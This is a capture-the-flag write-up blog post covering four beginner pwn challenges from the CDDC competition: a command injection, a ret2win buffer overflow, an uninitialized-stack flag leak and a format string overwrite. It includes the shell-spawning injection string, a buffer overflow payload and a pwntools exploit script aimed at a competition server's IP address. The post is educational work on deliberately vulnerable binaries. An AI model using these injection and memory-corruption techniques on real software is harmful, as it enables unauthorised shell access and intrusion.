In the recent Cyber Defenders Discovery Camp (CDDC) organised by DSTA, my team “Avocado_Milk” came in 4th with an overall score of 6180 - maybe one day I’ll get that podium finish :). Here are the write-ups for the challenges I solved during the CTF. I’ll be releasing my rev write-ups as well, but there’s not much chance for the web write-ups since the CTF organisers took all the servers down immediately. I’ll also include other interesting crypto/misc/programming challs.

During the CTF, challenges were released in rings, starting with Ring 5. Finishing all of a ring’s challenges unlocked the next ring. Within each ring, challenges were all worth 100 points (static scoring) and each ring generally had tougher challenges than the previous one.

Instead of trying to teach the general exploitation method (ie FSB, ROP), I’ll mostly be focussing on the specific exploitation strategy for each challenge. I think there are great resources already available, and there isn’t much value in re-teaching that. Rather, I’ll be looking at how that exploit could have be performed in the context of these challenges. I plan on releasing write-ups for Ring 3-5 (which was the extent to which my team made it). There’ll be progressively less hand-holding in subsequent rings as the reader will be assumed to have more background knowledge already.

You can find the relevant binaries in this repo.

Command Injection

Decompiling the binary in Ghidra, we see that the main program logic boils down to:

1
2
3
4
5
6
7
8
9
  read(0,local_198,0xe);
  iVar1 = strncmp(local_198,"Pa$$WoRD1@",10);
  if (iVar1 == 0) {
    sprintf(local_118,"echo %s",local_198);
    system(local_118);
  }
  else {
    puts("Wrong key!");
  }

14 bytes are read, the first 10 of which must be “Pa$$WoRD1@”. Our input is then run as a command “echo %s”. As the name of the challenge suggests, we use command injection on the last 4 available bytes of input - “;sh” (in fact only 3 bytes are needed). The trick is knowing that other than “/bin/sh”, “sh” can be used to spawn a shell. We use “;” to separate the two commands: “echo Pa$$WoRD1@;” and “sh”. In fact when using “;”, the first command need not even be valid - “junkcommand;sh” would spawn a shell as well.

Pop a shell: “Pa$$WoRD1@;sh”

Simple BOF

Decompiling the binary with Ghidra:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void func(void) {
  int iVar1;
  char local_18 [16];
  
  printf("Key : ");
  fflush(stdout);
  read(0,local_18,0x20);
  iVar1 = strncmp(local_18,"weakpass",10);
  if (iVar1 == 0) {
    puts("Login Successful!");
  }
  else {
    puts("Login FAILED!!");
  }
  return;
}

We also see a “printflag” function. This is a simple ret2win buffer overflow. Using pwn.cyclic to generate a De Bruijn sequence, we can determine how many bytes to write to the buffer before overwriting the saved rip.

Exploit:

1
payload = b"A" * 0x18 + p64(elf.sym["printflag"])

Uninitialized

Decompiling the binary, we see that we have 4 options: print_menu (which isn’t useful), login, print_flag, and print_name. We obviously want to call print_flag, but print_flag only reads the flag into memory, without actually writing it to stdout.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void print_flag(void) {
  undefined local_418 [1032];
  FILE *local_10;
  
  local_10 = fopen("flag","rb");
  if (local_10 == (FILE *)0x0) {
    perror("[-] flag file ");
    exit(0);
  }
  fread(local_418,0x400,1,local_10);
  puts("[-] Not Implemented!");
  fclose(local_10);
  return;
}

Notice that the flag is being written to local_418 (stack - 0x418). Looking at the other function that could potentially write to stdout, print_name:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void print_name(void) {
  char local_418 [1036];
  undefined4 local_c;
  
  local_c = 0;
  if (login_s == 1) {
    printf("name = %s\n",local_418);
  }
  else {
    strncpy(local_418,"",0x400);
    puts("[-] Not login");
  }
  return;
}

We see that if login_s == 1, the program will print the contents of local_418. Otherwise, it will set local_418 to 0x400 * “\0”. Notice that both functions have stack frames in the same location of memory (since both are called from the same place in main() ), so local_418 in print_name overlaps with local_418 in print_flag. Since print_name does not initialize local_418 (if login_s == 1), we can abuse this behaviour to leak the flag by logging in with correct password in the login function (“weakpass” from the disassembly) so that login_s == 1.

Exploit: login -> “weakpass” -> print_flag -> print_name

fmt

Looking through the Ghidra decompilation:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
undefined8 main(void) {
  int iVar1;
  long in_FS_OFFSET;
  char local_418 [1032];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setvbuf(stdout,(char *)0x0,1,0);
  setvbuf(stdin,(char *)0x0,1,0);
  readflag();
  printf("[+] password => %p\n",password);
  fgets(local_418,0x400,stdin);
  printf(local_418);
  iVar1 = strncmp(password,"weakpass",8);
  if (iVar1 == 0) {
    printf("[+] %s",flag);
  }
  else {
    printf("[!] password is %s\n",password);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

We notice an obvious format string bug

1
printf(local_418)

We also see that we can print the flag if password == “weakpass”. Since the address of password is also leaked by the program, we can use the FSB to overwrite it easily. We first find the offset of our FSB to be 8 via trial and error (“%1$p” -> “%2$p” -> …) - in other words:

1
2
> AAAAAAAA%8$p
AAAAAAAA0x4141414141414141

We let pwntools do the rest for us, writing “weakpass” to the leaked address of the password.

Exploit:

1
2
3
4
5
6
7
8
9
10
from pwn import *
elf = ELF("./fmt")
context.binary = elf
p = remote("18.141.181.118", 7011)

p.recvuntil(b"0x")
leak = int(p.recvuntil(b"\n").strip().decode("ascii"), 16)

payload = fmtstr_payload(8, {leak: b"weakpass"})
p.sendline(payload)